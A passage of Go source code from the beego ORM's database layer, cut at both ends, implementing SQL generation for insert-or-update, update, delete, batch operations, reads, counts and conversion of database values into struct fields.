InsertOrUpdate in beego\", a.DriverName)\n\t}\n\n\t//Get on the key-value pairs\n\tfor _, v := range args {\n\t\tkv := strings.Split(v, \"=\")\n\t\tif len(kv) == 2 {\n\t\t\targsMap[strings.ToLower(kv[0])] = kv[1]\n\t\t}\n\t}\n\n\tisMulti := false\n\tnames := make([]string, 0, len(mi.fields.dbcols)-1)\n\tQ := d.ins.TableQuote()\n\tvalues, _, err := d.collectValues(mi, ind, mi.fields.dbcols, true, true, &names, a.TZ)\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tmarks := make([]string, len(names))\n\tupdateValues := make([]interface{}, 0)\n\tupdates := make([]string, len(names))\n\tvar conflitValue interface{}\n\tfor i, v := range names {\n\t\tmarks[i] = \"?\"\n\t\tvalueStr := argsMap[strings.ToLower(v)]\n\t\tif v == args0 {\n\t\t\tconflitValue = values[i]\n\t\t}\n\t\tif valueStr != \"\" {\n\t\t\tswitch a.Driver {\n\t\t\tcase DRMySQL:\n\t\t\t\tupdates[i] = v + \"=\" + valueStr\n\t\t\tcase DRPostgres:\n\t\t\t\tif conflitValue != nil {\n\t\t\t\t\t//postgres ON CONFLICT DO UPDATE SET can`t use colu=colu+values\n\t\t\t\t\tupdates[i] = fmt.Sprintf(\"%s=(select %s from %s where %s = ? )\", v, valueStr, mi.table, args0)\n\t\t\t\t\tupdateValues = append(updateValues, conflitValue)\n\t\t\t\t} else {\n\t\t\t\t\treturn 0, fmt.Errorf(\"`%s` must be in front of `%s` in your struct\", args0, v)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tupdates[i] = v + \"=?\"\n\t\t\tupdateValues = append(updateValues, values[i])\n\t\t}\n\t}\n\n\tvalues = append(values, updateValues...)\n\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tqmarks := strings.Join(marks, \", \")\n\tqupdates := strings.Join(updates, \", \")\n\tcolumns := strings.Join(names, sep)\n\n\tmulti := len(values) / len(names)\n\n\tif isMulti {\n\t\tqmarks = strings.Repeat(qmarks+\"), (\", multi-1) + qmarks\n\t}\n\t//conflitValue maybe is a int,can`t use fmt.Sprintf\n\tquery := fmt.Sprintf(\"INSERT INTO %s%s%s (%s%s%s) VALUES (%s) %s \"+qupdates, Q, mi.table, Q, Q, columns, Q, qmarks, iouStr)\n\n\td.ins.ReplaceMarks(&query)\n\n\tif isMulti || !d.ins.HasReturningID(mi, &query) {\n\t\tres, err := q.Exec(query, values...)\n\t\tif err == nil {\n\t\t\tif isMulti {\n\t\t\t\treturn res.RowsAffected()\n\t\t\t}\n\t\t\treturn res.LastInsertId()\n\t\t}\n\t\treturn 0, err\n\t}\n\n\trow := q.QueryRow(query, values...)\n\tvar id int64\n\terr = row.Scan(&id)\n\tif err != nil && err.Error() == `pq: syntax error at or near \"ON\"` {\n\t\terr = fmt.Errorf(\"postgres version must 9.5 or higher\")\n\t}\n\treturn id, err\n}\n\n// execute update sql dbQuerier with given struct reflect.Value.\nfunc (d *dbBase) Update(q dbQuerier, mi *modelInfo, ind reflect.Value, tz *time.Location, cols []string) (int64, error) {\n\tpkName, pkValue, ok := getExistPk(mi, ind)\n\tif !ok {\n\t\treturn 0, ErrMissPK\n\t}\n\n\tvar setNames []string\n\n\t// if specify cols length is zero, then commit all columns.\n\tif len(cols) == 0 {\n\t\tcols = mi.fields.dbcols\n\t\tsetNames = make([]string, 0, len(mi.fields.dbcols)-1)\n\t} else {\n\t\tsetNames = make([]string, 0, len(cols))\n\t}\n\n\tsetValues, _, err := d.collectValues(mi, ind, cols, true, false, &setNames, tz)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tsetValues = append(setValues, pkValue)\n\n\tQ := d.ins.TableQuote()\n\n\tsep := fmt.Sprintf(\"%s = ?, %s\", Q, Q)\n\tsetColumns := strings.Join(setNames, sep)\n\n\tquery := fmt.Sprintf(\"UPDATE %s%s%s SET %s%s%s = ? WHERE %s%s%s = ?\", Q, mi.table, Q, Q, setColumns, Q, Q, pkName, Q)\n\n\td.ins.ReplaceMarks(&query)\n\n\tres, err := q.Exec(query, setValues...)\n\tif err == nil {\n\t\treturn res.RowsAffected()\n\t}\n\treturn 0, err\n}\n\n// execute delete sql dbQuerier with given struct reflect.Value.\n// delete index is pk.\nfunc (d *dbBase) Delete(q dbQuerier, mi *modelInfo, ind reflect.Value, tz *time.Location, cols []string) (int64, error) {\n\tvar whereCols []string\n\tvar args []interface{}\n\t// if specify cols length > 0, then use it for where condition.\n\tif len(cols) > 0 {\n\t\tvar err error\n\t\twhereCols = make([]string, 0, len(cols))\n\t\targs, _, err = d.collectValues(mi, ind, cols, false, false, &whereCols, tz)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t} else {\n\t\t// default use pk value as where condtion.\n\t\tpkColumn, pkValue, ok := getExistPk(mi, ind)\n\t\tif !ok {\n\t\t\treturn 0, ErrMissPK\n\t\t}\n\t\twhereCols = []string{pkColumn}\n\t\targs = append(args, pkValue)\n\t}\n\n\tQ := d.ins.TableQuote()\n\n\tsep := fmt.Sprintf(\"%s = ? AND %s\", Q, Q)\n\twheres := strings.Join(whereCols, sep)\n\n\tquery := fmt.Sprintf(\"DELETE FROM %s%s%s WHERE %s%s%s = ?\", Q, mi.table, Q, Q, wheres, Q)\n\n\td.ins.ReplaceMarks(&query)\n\tres, err := q.Exec(query, args...)\n\tif err == nil {\n\t\tnum, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif num > 0 {\n\t\t\tif mi.fields.pk.auto {\n\t\t\t\tif mi.fields.pk.fieldType&IsPositiveIntegerField > 0 {\n\t\t\t\t\tind.FieldByIndex(mi.fields.pk.fieldIndex).SetUint(0)\n\t\t\t\t} else {\n\t\t\t\t\tind.FieldByIndex(mi.fields.pk.fieldIndex).SetInt(0)\n\t\t\t\t}\n\t\t\t}\n\t\t\terr := d.deleteRels(q, mi, args, tz)\n\t\t\tif err != nil {\n\t\t\t\treturn num, err\n\t\t\t}\n\t\t}\n\t\treturn num, err\n\t}\n\treturn 0, err\n}\n\n// update table-related record by querySet.\n// need querySet not struct reflect.Value to update related records.\nfunc (d *dbBase) UpdateBatch(q dbQuerier, qs *querySet, mi *modelInfo, cond *Condition, params Params, tz *time.Location) (int64, error) {\n\tcolumns := make([]string, 0, len(params))\n\tvalues := make([]interface{}, 0, len(params))\n\tfor col, val := range params {\n\t\tif fi, ok := mi.fields.GetByAny(col); !ok || !fi.dbcol {\n\t\t\tpanic(fmt.Errorf(\"wrong field/column name `%s`\", col))\n\t\t} else {\n\t\t\tcolumns = append(columns, fi.column)\n\t\t\tvalues = append(values, val)\n\t\t}\n\t}\n\n\tif len(columns) == 0 {\n\t\tpanic(fmt.Errorf(\"update params cannot empty\"))\n\t}\n\n\ttables := newDbTables(mi, d.ins)\n\tif qs != nil {\n\t\ttables.parseRelated(qs.related, qs.relDepth)\n\t}\n\n\twhere, args := tables.getCondSQL(cond, false, tz)\n\n\tvalues = append(values, args...)\n\n\tjoin := tables.getJoinSQL()\n\n\tvar query, T string\n\n\tQ := d.ins.TableQuote()\n\n\tif d.ins.SupportUpdateJoin() {\n\t\tT = \"T0.\"\n\t}\n\n\tcols := make([]string, 0, len(columns))\n\n\tfor i, v := range columns {\n\t\tcol := fmt.Sprintf(\"%s%s%s%s\", T, Q, v, Q)\n\t\tif c, ok := values[i].(colValue); ok {\n\t\t\tswitch c.opt {\n\t\t\tcase ColAdd:\n\t\t\t\tcols = append(cols, col+\" = \"+col+\" + ?\")\n\t\t\tcase ColMinus:\n\t\t\t\tcols = append(cols, col+\" = \"+col+\" - ?\")\n\t\t\tcase ColMultiply:\n\t\t\t\tcols = append(cols, col+\" = \"+col+\" * ?\")\n\t\t\tcase ColExcept:\n\t\t\t\tcols = append(cols, col+\" = \"+col+\" / ?\")\n\t\t\t}\n\t\t\tvalues[i] = c.value\n\t\t} else {\n\t\t\tcols = append(cols, col+\" = ?\")\n\t\t}\n\t}\n\n\tsets := strings.Join(cols, \", \") + \" \"\n\n\tif d.ins.SupportUpdateJoin() {\n\t\tquery = fmt.Sprintf(\"UPDATE %s%s%s T0 %sSET %s%s\", Q, mi.table, Q, join, sets, where)\n\t} else {\n\t\tsupQuery := fmt.Sprintf(\"SELECT T0.%s%s%s FROM %s%s%s T0 %s%s\", Q, mi.fields.pk.column, Q, Q, mi.table, Q, join, where)\n\t\tquery = fmt.Sprintf(\"UPDATE %s%s%s SET %sWHERE %s%s%s IN ( %s )\", Q, mi.table, Q, sets, Q, mi.fields.pk.column, Q, supQuery)\n\t}\n\n\td.ins.ReplaceMarks(&query)\n\tres, err := q.Exec(query, values...)\n\tif err == nil {\n\t\treturn res.RowsAffected()\n\t}\n\treturn 0, err\n}\n\n// delete related records.\n// do UpdateBanch or DeleteBanch by condition of tables' relationship.\nfunc (d *dbBase) deleteRels(q dbQuerier, mi *modelInfo, args []interface{}, tz *time.Location) error {\n\tfor _, fi := range mi.fields.fieldsReverse {\n\t\tfi = fi.reverseFieldInfo\n\t\tswitch fi.onDelete {\n\t\tcase odCascade:\n\t\t\tcond := NewCondition().And(fmt.Sprintf(\"%s__in\", fi.name), args...)\n\t\t\t_, err := d.DeleteBatch(q, nil, fi.mi, cond, tz)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase odSetDefault, odSetNULL:\n\t\t\tcond := NewCondition().And(fmt.Sprintf(\"%s__in\", fi.name), args...)\n\t\t\tparams := Params{fi.column: nil}\n\t\t\tif fi.onDelete == odSetDefault {\n\t\t\t\tparams[fi.column] = fi.initial.String()\n\t\t\t}\n\t\t\t_, err := d.UpdateBatch(q, nil, fi.mi, cond, params, tz)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase odDoNothing:\n\t\t}\n\t}\n\treturn nil\n}\n\n// delete table-related records.\nfunc (d *dbBase) DeleteBatch(q dbQuerier, qs *querySet, mi *modelInfo, cond *Condition, tz *time.Location) (int64, error) {\n\ttables := newDbTables(mi, d.ins)\n\ttables.skipEnd = true\n\n\tif qs != nil {\n\t\ttables.parseRelated(qs.related, qs.relDepth)\n\t}\n\n\tif cond == nil || cond.IsEmpty() {\n\t\tpanic(fmt.Errorf(\"delete operation cannot execute without condition\"))\n\t}\n\n\tQ := d.ins.TableQuote()\n\n\twhere, args := tables.getCondSQL(cond, false, tz)\n\tjoin := tables.getJoinSQL()\n\n\tcols := fmt.Sprintf(\"T0.%s%s%s\", Q, mi.fields.pk.column, Q)\n\tquery := fmt.Sprintf(\"SELECT %s FROM %s%s%s T0 %s%s\", cols, Q, mi.table, Q, join, where)\n\n\td.ins.ReplaceMarks(&query)\n\n\tvar rs *sql.Rows\n\tr, err := q.Query(query, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trs = r\n\tdefer rs.Close()\n\n\tvar ref interface{}\n\targs = make([]interface{}, 0)\n\tcnt := 0\n\tfor rs.Next() {\n\t\tif err := rs.Scan(&ref); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tpkValue, err := d.convertValueFromDB(mi.fields.pk, reflect.ValueOf(ref).Interface(), tz)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\targs = append(args, pkValue)\n\t\tcnt++\n\t}\n\n\tif cnt == 0 {\n\t\treturn 0, nil\n\t}\n\n\tmarks := make([]string, len(args))\n\tfor i := range marks {\n\t\tmarks[i] = \"?\"\n\t}\n\tsql := fmt.Sprintf(\"IN (%s)\", strings.Join(marks, \", \"))\n\tquery = fmt.Sprintf(\"DELETE FROM %s%s%s WHERE %s%s%s %s\", Q, mi.table, Q, Q, mi.fields.pk.column, Q, sql)\n\n\td.ins.ReplaceMarks(&query)\n\tres, err := q.Exec(query, args...)\n\tif err == nil {\n\t\tnum, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif num > 0 {\n\t\t\terr := d.deleteRels(q, mi, args, tz)\n\t\t\tif err != nil {\n\t\t\t\treturn num, err\n\t\t\t}\n\t\t}\n\t\treturn num, nil\n\t}\n\treturn 0, err\n}\n\n// read related records.\nfunc (d *dbBase) ReadBatch(q dbQuerier, qs *querySet, mi *modelInfo, cond *Condition, container interface{}, tz *time.Location, cols []string) (int64, error) {\n\n\tval := reflect.ValueOf(container)\n\tind := reflect.Indirect(val)\n\n\terrTyp := true\n\tone := true\n\tisPtr := true\n\n\tif val.Kind() == reflect.Ptr {\n\t\tfn := \"\"\n\t\tif ind.Kind() == reflect.Slice {\n\t\t\tone = false\n\t\t\ttyp := ind.Type().Elem()\n\t\t\tswitch typ.Kind() {\n\t\t\tcase reflect.Ptr:\n\t\t\t\tfn = getFullName(typ.Elem())\n\t\t\tcase reflect.Struct:\n\t\t\t\tisPtr = false\n\t\t\t\tfn = getFullName(typ)\n\t\t\t}\n\t\t} else {\n\t\t\tfn = getFullName(ind.Type())\n\t\t}\n\t\terrTyp = fn != mi.fullName\n\t}\n\n\tif errTyp {\n\t\tif one {\n\t\t\tpanic(fmt.Errorf(\"wrong object type `%s` for rows scan, need *%s\", val.Type(), mi.fullName))\n\t\t} else {\n\t\t\tpanic(fmt.Errorf(\"wrong object type `%s` for rows scan, need *[]*%s or *[]%s\", val.Type(), mi.fullName, mi.fullName))\n\t\t}\n\t}\n\n\trlimit := qs.limit\n\toffset := qs.offset\n\n\tQ := d.ins.TableQuote()\n\n\tvar tCols []string\n\tif len(cols) > 0 {\n\t\thasRel := len(qs.related) > 0 || qs.relDepth > 0\n\t\ttCols = make([]string, 0, len(cols))\n\t\tvar maps map[string]bool\n\t\tif hasRel {\n\t\t\tmaps = make(map[string]bool)\n\t\t}\n\t\tfor _, col := range cols {\n\t\t\tif fi, ok := mi.fields.GetByAny(col); ok {\n\t\t\t\ttCols = append(tCols, fi.column)\n\t\t\t\tif hasRel {\n\t\t\t\t\tmaps[fi.column] = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Errorf(\"wrong field/column name `%s`\", col))\n\t\t\t}\n\t\t}\n\t\tif hasRel {\n\t\t\tfor _, fi := range mi.fields.fieldsDB {\n\t\t\t\tif fi.fieldType&IsRelField > 0 {\n\t\t\t\t\tif !maps[fi.column] {\n\t\t\t\t\t\ttCols = append(tCols, fi.column)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\ttCols = mi.fields.dbcols\n\t}\n\n\tcolsNum := len(tCols)\n\tsep := fmt.Sprintf(\"%s, T0.%s\", Q, Q)\n\tsels := fmt.Sprintf(\"T0.%s%s%s\", Q, strings.Join(tCols, sep), Q)\n\n\ttables := newDbTables(mi, d.ins)\n\ttables.parseRelated(qs.related, qs.relDepth)\n\n\twhere, args := tables.getCondSQL(cond, false, tz)\n\tgroupBy := tables.getGroupSQL(qs.groups)\n\torderBy := tables.getOrderSQL(qs.orders)\n\tlimit := tables.getLimitSQL(mi, offset, rlimit)\n\tjoin := tables.getJoinSQL()\n\n\tfor _, tbl := range tables.tables {\n\t\tif tbl.sel {\n\t\t\tcolsNum += len(tbl.mi.fields.dbcols)\n\t\t\tsep := fmt.Sprintf(\"%s, %s.%s\", Q, tbl.index, Q)\n\t\t\tsels += fmt.Sprintf(\", %s.%s%s%s\", tbl.index, Q, strings.Join(tbl.mi.fields.dbcols, sep), Q)\n\t\t}\n\t}\n\n\tsqlSelect := \"SELECT\"\n\tif qs.distinct {\n\t\tsqlSelect += \" DISTINCT\"\n\t}\n\tquery := fmt.Sprintf(\"%s %s FROM %s%s%s T0 %s%s%s%s%s\", sqlSelect, sels, Q, mi.table, Q, join, where, groupBy, orderBy, limit)\n\n\td.ins.ReplaceMarks(&query)\n\n\tvar rs *sql.Rows\n\tr, err := q.Query(query, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trs = r\n\n\trefs := make([]interface{}, colsNum)\n\tfor i := range refs {\n\t\tvar ref interface{}\n\t\trefs[i] = &ref\n\t}\n\n\tdefer rs.Close()\n\n\tslice := ind\n\n\tvar cnt int64\n\tfor rs.Next() {\n\t\tif one && cnt == 0 || !one {\n\t\t\tif err := rs.Scan(refs...); err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\telm := reflect.New(mi.addrField.Elem().Type())\n\t\t\tmind := reflect.Indirect(elm)\n\n\t\t\tcacheV := make(map[string]*reflect.Value)\n\t\t\tcacheM := make(map[string]*modelInfo)\n\t\t\ttrefs := refs\n\n\t\t\td.setColsValues(mi, &mind, tCols, refs[:len(tCols)], tz)\n\t\t\ttrefs = refs[len(tCols):]\n\n\t\t\tfor _, tbl := range tables.tables {\n\t\t\t\t// loop selected tables\n\t\t\t\tif tbl.sel {\n\t\t\t\t\tlast := mind\n\t\t\t\t\tnames := \"\"\n\t\t\t\t\tmmi := mi\n\t\t\t\t\t// loop cascade models\n\t\t\t\t\tfor _, name := range tbl.names {\n\t\t\t\t\t\tnames += name\n\t\t\t\t\t\tif val, ok := cacheV[names]; ok {\n\t\t\t\t\t\t\tlast = *val\n\t\t\t\t\t\t\tmmi = cacheM[names]\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tfi := mmi.fields.GetByName(name)\n\t\t\t\t\t\t\tlastm := mmi\n\t\t\t\t\t\t\tmmi = fi.relModelInfo\n\t\t\t\t\t\t\tfield := last\n\t\t\t\t\t\t\tif last.Kind() != reflect.Invalid {\n\t\t\t\t\t\t\t\tfield = reflect.Indirect(last.FieldByIndex(fi.fieldIndex))\n\t\t\t\t\t\t\t\tif field.IsValid() {\n\t\t\t\t\t\t\t\t\td.setColsValues(mmi, &field, mmi.fields.dbcols, trefs[:len(mmi.fields.dbcols)], tz)\n\t\t\t\t\t\t\t\t\tfor _, fi := range mmi.fields.fieldsReverse {\n\t\t\t\t\t\t\t\t\t\tif fi.inModel && fi.reverseFieldInfo.mi == lastm {\n\t\t\t\t\t\t\t\t\t\t\tif fi.reverseFieldInfo != nil {\n\t\t\t\t\t\t\t\t\t\t\t\tf := field.FieldByIndex(fi.fieldIndex)\n\t\t\t\t\t\t\t\t\t\t\t\tif f.Kind() == reflect.Ptr {\n\t\t\t\t\t\t\t\t\t\t\t\t\tf.Set(last.Addr())\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tlast = field\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcacheV[names] = &field\n\t\t\t\t\t\t\tcacheM[names] = mmi\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ttrefs = trefs[len(mmi.fields.dbcols):]\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif one {\n\t\t\t\tind.Set(mind)\n\t\t\t} else {\n\t\t\t\tif cnt == 0 {\n\t\t\t\t\t// you can use a empty & caped container list\n\t\t\t\t\t// orm will not replace it\n\t\t\t\t\tif ind.Len() != 0 {\n\t\t\t\t\t\t// if container is not empty\n\t\t\t\t\t\t// create a new one\n\t\t\t\t\t\tslice = reflect.New(ind.Type()).Elem()\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif isPtr {\n\t\t\t\t\tslice = reflect.Append(slice, mind.Addr())\n\t\t\t\t} else {\n\t\t\t\t\tslice = reflect.Append(slice, mind)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcnt++\n\t}\n\n\tif !one {\n\t\tif cnt > 0 {\n\t\t\tind.Set(slice)\n\t\t} else {\n\t\t\t// when a result is empty and container is nil\n\t\t\t// to set a empty container\n\t\t\tif ind.IsNil() {\n\t\t\t\tind.Set(reflect.MakeSlice(ind.Type(), 0, 0))\n\t\t\t}\n\t\t}\n\t}\n\n\treturn cnt, nil\n}\n\n// excute count sql and return count result int64.\nfunc (d *dbBase) Count(q dbQuerier, qs *querySet, mi *modelInfo, cond *Condition, tz *time.Location) (cnt int64, err error) {\n\ttables := newDbTables(mi, d.ins)\n\ttables.parseRelated(qs.related, qs.relDepth)\n\n\twhere, args := tables.getCondSQL(cond, false, tz)\n\tgroupBy := tables.getGroupSQL(qs.groups)\n\ttables.getOrderSQL(qs.orders)\n\tjoin := tables.getJoinSQL()\n\n\tQ := d.ins.TableQuote()\n\n\tquery := fmt.Sprintf(\"SELECT COUNT(*) FROM %s%s%s T0 %s%s%s\", Q, mi.table, Q, join, where, groupBy)\n\n\tif groupBy != \"\" {\n\t\tquery = fmt.Sprintf(\"SELECT COUNT(*) FROM (%s) AS T\", query)\n\t}\n\n\td.ins.ReplaceMarks(&query)\n\n\trow := q.QueryRow(query, args...)\n\n\terr = row.Scan(&cnt)\n\treturn\n}\n\n// generate sql with replacing operator string placeholders and replaced values.\nfunc (d *dbBase) GenerateOperatorSQL(mi *modelInfo, fi *fieldInfo, operator string, args []interface{}, tz *time.Location) (string, []interface{}) {\n\tvar sql string\n\tparams := getFlatParams(fi, args, tz)\n\n\tif len(params) == 0 {\n\t\tpanic(fmt.Errorf(\"operator `%s` need at least one args\", operator))\n\t}\n\targ := params[0]\n\n\tswitch operator {\n\tcase \"in\":\n\t\tmarks := make([]string, len(params))\n\t\tfor i := range marks {\n\t\t\tmarks[i] = \"?\"\n\t\t}\n\t\tsql = fmt.Sprintf(\"IN (%s)\", strings.Join(marks, \", \"))\n\tcase \"between\":\n\t\tif len(params) != 2 {\n\t\t\tpanic(fmt.Errorf(\"operator `%s` need 2 args not %d\", operator, len(params)))\n\t\t}\n\t\tsql = \"BETWEEN ? AND ?\"\n\tdefault:\n\t\tif len(params) > 1 {\n\t\t\tpanic(fmt.Errorf(\"operator `%s` need 1 args not %d\", operator, len(params)))\n\t\t}\n\t\tsql = d.ins.OperatorSQL(operator)\n\t\tswitch operator {\n\t\tcase \"exact\":\n\t\t\tif arg == nil {\n\t\t\t\tparams[0] = \"IS NULL\"\n\t\t\t}\n\t\tcase \"iexact\", \"contains\", \"icontains\", \"startswith\", \"endswith\", \"istartswith\", \"iendswith\":\n\t\t\tparam := strings.Replace(ToStr(arg), `%`, `\\%`, -1)\n\t\t\tswitch operator {\n\t\t\tcase \"iexact\":\n\t\t\tcase \"contains\", \"icontains\":\n\t\t\t\tparam = fmt.Sprintf(\"%%%s%%\", param)\n\t\t\tcase \"startswith\", \"istartswith\":\n\t\t\t\tparam = fmt.Sprintf(\"%s%%\", param)\n\t\t\tcase \"endswith\", \"iendswith\":\n\t\t\t\tparam = fmt.Sprintf(\"%%%s\", param)\n\t\t\t}\n\t\t\tparams[0] = param\n\t\tcase \"isnull\":\n\t\t\tif b, ok := arg.(bool); ok {\n\t\t\t\tif b {\n\t\t\t\t\tsql = \"IS NULL\"\n\t\t\t\t} else {\n\t\t\t\t\tsql = \"IS NOT NULL\"\n\t\t\t\t}\n\t\t\t\tparams = nil\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Errorf(\"operator `%s` need a bool value not `%T`\", operator, arg))\n\t\t\t}\n\t\t}\n\t}\n\treturn sql, params\n}\n\n// gernerate sql string with inner function, such as UPPER(text).\nfunc (d *dbBase) GenerateOperatorLeftCol(*fieldInfo, string, *string) {\n\t// default not use\n}\n\n// set values to struct column.\nfunc (d *dbBase) setColsValues(mi *modelInfo, ind *reflect.Value, cols []string, values []interface{}, tz *time.Location) {\n\tfor i, column := range cols {\n\t\tval := reflect.Indirect(reflect.ValueOf(values[i])).Interface()\n\n\t\tfi := mi.fields.GetByColumn(column)\n\n\t\tfield := ind.FieldByIndex(fi.fieldIndex)\n\n\t\tvalue, err := d.convertValueFromDB(fi, val, tz)\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"Raw value: `%v` %s\", val, err.Error()))\n\t\t}\n\n\t\t_, err = d.setFieldValue(fi, value, field)\n\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"Raw value: `%v` %s\", val, err.Error()))\n\t\t}\n\t}\n}\n\n// convert value from database result to value following in field type.\nfunc (d *dbBase) convertValueFromDB(fi *fieldInfo, val interface{}, tz *time.Location) (interface{}, error) {\n\tif val == nil {\n\t\treturn nil, nil\n\t}\n\n\tvar value interface{}\n\tvar tErr error\n\n\tvar str *StrTo\n\tswitch v := val.(type) {\n\tcase []byte:\n\t\ts := StrTo(string(v))\n\t\tstr = &s\n\tcase string:\n\t\ts := StrTo(v)\n\t\tstr = &s\n\t}\n\n\tfieldType := fi.fieldType\n\nsetValue:\n\tswitch {\n\tcase fieldType == TypeBooleanField:\n\t\tif str == nil {\n\t\t\tswitch v := val.(type) {\n\t\t\tcase int64:\n\t\t\t\tb := v == 1\n\t\t\t\tvalue = b\n\t\t\tdefault:\n\t\t\t\ts := StrTo(ToStr(v))\n\t\t\t\tstr = &s\n\t\t\t}\n\t\t}\n\t\tif str != nil {\n\t\t\tb, err := str.Bool()\n\t\t\tif err != nil {\n\t\t\t\ttErr = err\n\t\t\t\tgoto end\n\t\t\t}\n\t\t\tvalue = b\n\t\t}\n\tcase fieldType == TypeVarCharField || fieldType == TypeCharField || fieldType == TypeTextField || fieldType == TypeJSONField || fieldType == TypeJsonbField:\n\t\tif str == nil {\n\t\t\tvalue = ToStr(val)\n\t\t} else {\n\t\t\tvalue = str.String()\n\t\t}\n\tcase fieldType == TypeTimeField || fieldType == TypeDateField || fieldType == TypeDateTimeField:\n\t\tif str == nil {\n\t\t\tswitch t := val.(type) {\n\t\t\tcase time.Time:\n\t\t\t\td.ins.TimeFromDB(&t, tz)\n\t\t\t\tvalue = t\n\t\t\tdefault:\n\t\t\t\ts := StrTo(ToStr(t))\n\t\t\t\tstr = &s\n\t\t\t}\n\t\t}\n\t\tif str != nil {\n\t\t\ts := str.String()\n\t\t\tvar (\n\t\t\t\tt   time.Time\n\t\t\t\terr error\n\t\t\t)\n\t\t\tif len(s) >= 19 {\n\t\t\t\ts = s[:19]\n\t\t\t\tt, err = time.ParseInLocation(formatDateTime, s, tz)\n\t\t\t} else if len(s) >= 10 {\n\t\t\t\tif len(s) > 10 {\n\t\t\t\t\ts = s[:10]\n\t\t\t\t}\n\t\t\t\tt, err = time.ParseInLocation(formatDate, s, tz)\n\t\t\t} else if len(s) >= 8 {\n\t\t\t\tif len(s) > 8 {\n\t\t\t\t\ts = s[:8]\n\t\t\t\t}\n\t\t\t\tt, err = time.ParseInLocation(formatTime, s, tz)\n\t\t\t}\n\t\t\tt = t.In(DefaultTimeLoc)\n\n\t\t\tif err != nil && s != \"00:00:00\" && s != \"0000-00-00\" && s != \"0000-00-00 00:00:00\" {\n\t\t\t\ttErr = err\n\t\t\t\tgoto end\n\t\t\t}\n\t\t\tvalue = t\n\t\t}\n\tcase fieldType&IsIntegerField > 0:\n\t\tif str == nil {\n\t\t\ts := StrTo(ToStr(val))\n\t\t\tstr = &s\n\t\t}\n\t\tif str != nil {\n\t\t\tvar err error\n\t\t\tswitch fieldType {\n\t\t\tcase TypeBitField:\n\t\t\t\t_, err = str.Int8()\n\t\t\tcase TypeSmallIntegerField:\n\t\t\t\t_, err = str.Int16()\n\t\t\tcase TypeIntegerField:\n\t\t\t\t_, err = str.Int32()\n\t\t\tcase TypeBigIntegerField:\n\t\t\t\t_, err = str.Int64()\n\t\t\tcase TypePositiveBitField:\n\t\t\t\t_, err = str.Uint8()\n\t\t\tcase TypePositiveSmallIntegerField:\n\t\t\t\t_, err = str.Uint16()\n\t\t\tcase TypePositiveIntegerField:\n\t\t\t\t_, err = str.Uint32()\n\t\t\tcase TypePositiveBigIntegerField:\n\t\t\t\t_, err = str.Uint64()\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\ttErr = err\n\t\t\t\tgoto end\n\t\t\t}\n\t\t\tif fieldType&IsPositiveIntegerField > 0 {\n\t\t\t\tv, _ := str.Uint64()\n\t\t\t\tvalue = v\n\t\t\t} else {\n\t\t\t\tv, _ := str.Int64()\n\t\t\t\tvalue = v\n\t\t\t}\n\t\t}\n\tcase fieldType == TypeFloatField || fieldType == TypeDecimalField:\n\t\tif str == nil {\n\t\t\tswitch v := val.(type) {\n\t\t\tcase float64:\n\t\t\t\tvalue = v\n\t\t\tdefault:\n\t\t\t\ts := StrTo(ToStr(v))\n\t\t\t\tstr = &s\n\t\t\t}\n\t\t}\n\t\tif str != nil {\n\t\t\tv, err := str.Float64()\n\t\t\tif err != nil {\n\t\t\t\ttErr = err\n\t\t\t\tgoto end\n\t\t\t}\n\t\t\tvalue = v\n\t\t}\n\tcase fieldType&IsRelField > 0:\n\t\tfi = fi.relModelInfo.fields.pk\n\t\tfieldType = fi.fieldType\n\t\tgoto setValue\n\t}\n\nend:\n\tif tErr != nil {\n\t\terr := fmt.Errorf(\"convert to `%s` failed, field: %s err: %s\", fi.addrValue.Type(), fi.fullName, tErr)\n\t\treturn nil, err\n\t}\n\n\treturn value, nil\n\n}\n\n// set one value to struct column field.\nfunc (d *dbBase) setFieldValue(fi *fieldInfo, value interface{}, field reflect.Value) (interface{}, error) {\n\n\tfieldType := fi.fieldType\n\tisNative := !fi.isFielder\n\nsetValue:\n\tswitch {\n\tcase fieldType == TypeBooleanField:\n\t\tif isNative {\n\t\t\tif nb, ok := field.Interface().(sql.NullBool); ok {\n\t\t\t\tif value == nil {\n\t\t\t\t\tnb.Valid = false\n\t\t\t\t} else {\n\t\t\t\t\tnb.Bool = value.(bool)\n\t\t\t\t\tnb.Valid = true\n\t\t\t\t}\n\t\t\t\tfield.Set(reflect.ValueOf(nb))\n\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\tif value != nil {\n\t\t\t\t\tv := 